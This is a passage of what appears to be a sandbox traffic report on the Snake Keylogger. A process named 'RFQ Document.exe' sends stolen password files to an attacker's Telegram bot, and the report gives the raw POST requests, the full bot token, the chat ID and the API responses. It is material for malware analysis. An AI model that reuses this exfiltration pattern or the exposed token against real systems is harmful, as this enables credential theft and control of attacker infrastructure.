50 3a Data Ascii: --------------------------8d98255e01f7428Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:11 UTC	282	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:11 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:11 UTC	282	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12765,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808751,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.4	49998	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:11 UTC	283	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e0374e0e Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:11 UTC	283	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 30 33 37 34 65 30 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e0374e0eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:11 UTC	283	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:11 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:11 UTC	284	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 31 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12766,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808751,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.4	49999	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:11 UTC	284	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e05df84b Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:11 UTC	285	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 30 35 64 66 38 34 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e05df84bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:12 UTC	285	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:12 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:12 UTC	285	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12767,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808752,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.4	50000	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:12 UTC	286	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e08abe89 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:12 UTC	286	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 30 38 61 62 65 38 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e08abe89Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:12 UTC	287	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:12 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:12 UTC	287	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12768,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808752,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49792	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:24 UTC	28	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255c3f5b542 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:24 UTC	28	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 33 66 35 62 35 34 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255c3f5b542Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:24 UTC	29	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:24 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:24 UTC	29	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 35 39 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 30 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12598,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808704,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
180	192.168.2.4	50001	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:12 UTC	288	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e0a9c32a Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:12 UTC	288	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 30 61 39 63 33 32 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e0a9c32aContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:12 UTC	288	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:12 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:12 UTC	289	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 36 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12769,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808752,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
181	192.168.2.4	50002	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:12 UTC	289	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e0c8baa8 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:12 UTC	290	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 30 63 38 62 61 61 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e0c8baa8Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:12 UTC	290	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:12 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:12 UTC	290	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 32 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12770,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808752,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
182	192.168.2.4	50003	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:59:12 UTC	291	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255e0e55880 Host: api.telegram.org Content-Length: 407
2021-09-28 05:59:12 UTC	291	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 65 30 65 35 35 38 38 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255e0e55880Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:59:12 UTC	292	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:59:12 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:59:12 UTC	292	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 35 32 2c 22 64 Data 